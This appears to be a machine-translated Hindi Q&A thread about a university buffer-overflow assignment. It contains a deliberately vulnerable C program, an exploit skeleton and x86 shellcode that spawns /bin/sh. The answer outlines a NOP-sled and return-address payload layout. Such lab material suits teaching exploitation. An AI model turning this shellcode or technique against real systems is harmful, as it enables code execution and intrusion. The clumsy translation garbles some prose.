जानबूझकर बफर ओवरफ्लो शोषण कार्यक्रम

Question

मैं अपने कंप विज्ञान वर्गों में से किसी एक के लिए इस समस्या को समझने की कोशिश कर रहा हूं, मैंने हर संसाधन का उपयोग किया है और अभी भी समस्याएं हैं, अगर कोई अंतर्दृष्टि प्रदान कर सकता है, तो मैं इसकी सराहना करता हूं।

मेरे पास यह "लक्ष्य" है जिसे मुझे बफर ओवरफ़्लो शोषण के साथ निष्पादित करने ("/ bin/sh") निष्पादित करने की आवश्यकता है। बफ [128] के अतिप्रवाह में, असुरक्षित कमांड strcpy निष्पादित करते समय, बफर में वापस एक पॉइंटर उस स्थान पर दिखाई देता है जहां सिस्टम वापसी पता ढूंढने की अपेक्षा करता है।

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

मैं समझता हूँ कि मैं [1] 128 से अधिक बाइट के साथ argv भरने की जरूरत है, 128 से अधिक बाइट वापसी का पता है, जिसे बफर पर वापस इंगित किया जाना चाहिए ताकि यह भीतर/bin/sh को निष्पादित कर सके। क्या यह अभी तक सही है? क्या कोई अगला कदम प्रदान कर सकता है?

किसी भी मदद के लिए बहुत बहुत धन्यवाद।

Answer 1

अच्छा, तो आप प्रोग्राम को अपने शेलकोड को निष्पादित करना चाहते हैं। यह पहले से ही मशीन फॉर्म में है, इसलिए यह सिस्टम द्वारा निष्पादित करने के लिए तैयार है। आपने इसे एक बफर में संग्रहीत किया है। तो, सवाल यह होगा कि "सिस्टम मेरे कोड को निष्पादित करने के लिए कैसे जानता है?" अधिक सटीक, "सिस्टम को कैसे पता चलेगा कि अगले कोड को निष्पादित करने के लिए कहां देखना है?" इस मामले में जवाब वह रिटर्न पता है जिसके बारे में आप बात कर रहे हैं।

असल में, आप सही रास्ते पर हैं। क्या आपने कोड निष्पादित करने का प्रयास किया है? इस तरह के शोषण करने पर मैंने देखा है कि यह एक सटीक विज्ञान नहीं है। कभी-कभी, स्मृति में अन्य चीजें होती हैं जिन्हें आप वहां होने की उम्मीद नहीं करते हैं, इसलिए आपको अपने बफर में जो बाइट्स जोड़ते हैं, उन्हें उस स्थिति के साथ सही ढंग से संरेखित करने के लिए बढ़ाया जाता है जहां सिस्टम अपेक्षा करता है।

मैं सुरक्षा में विशेषज्ञ नहीं हूं, लेकिन मैं आपको कुछ चीजें बता सकता हूं जो मदद कर सकते हैं। एक यह है कि मैं आमतौर पर 'एनओपी स्लेड' शामिल करता हूं - अनिवार्य रूप से केवल 0x90 बाइट्स की एक श्रृंखला जो प्रोसेसर पर 'एनओपी' निर्देश निष्पादित करने के अलावा कुछ भी नहीं करती है। एक और चाल बफर के अंत में रिटर्न पता दोहराना है, ताकि यदि उनमें से कोई भी ढेर पर वापसी पता ओवरराइट कर लेता है, तो आप जहां चाहें वहां सफल वापसी करेंगे।

तो, अपने बफर इस तरह दिखेगा:

| एनओपी स्लेड | शेलकोडे | दोबारा वापसी का पता लगाएं

(नोट: ये मेरे विचारों नहीं हैं, मैं उन्हें हैकिंग से मिल गया:। शोषण की कला, जॉन एरिक्सन द्वारा अगर आप इस बारे में और अधिक जानने में रुचि रखते मैं इस पुस्तक की सिफारिश)।

पते की गणना करने के लिए, आप निम्न जैसा कुछ का उपयोग कर सकते हैं:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

अब, सेवानिवृत्त, वापसी पता आप पर वापस आना चाहते का आयोजन करेगा यह सोचते हैं आप ढेर पर होना करने के लिए बफर आवंटित है।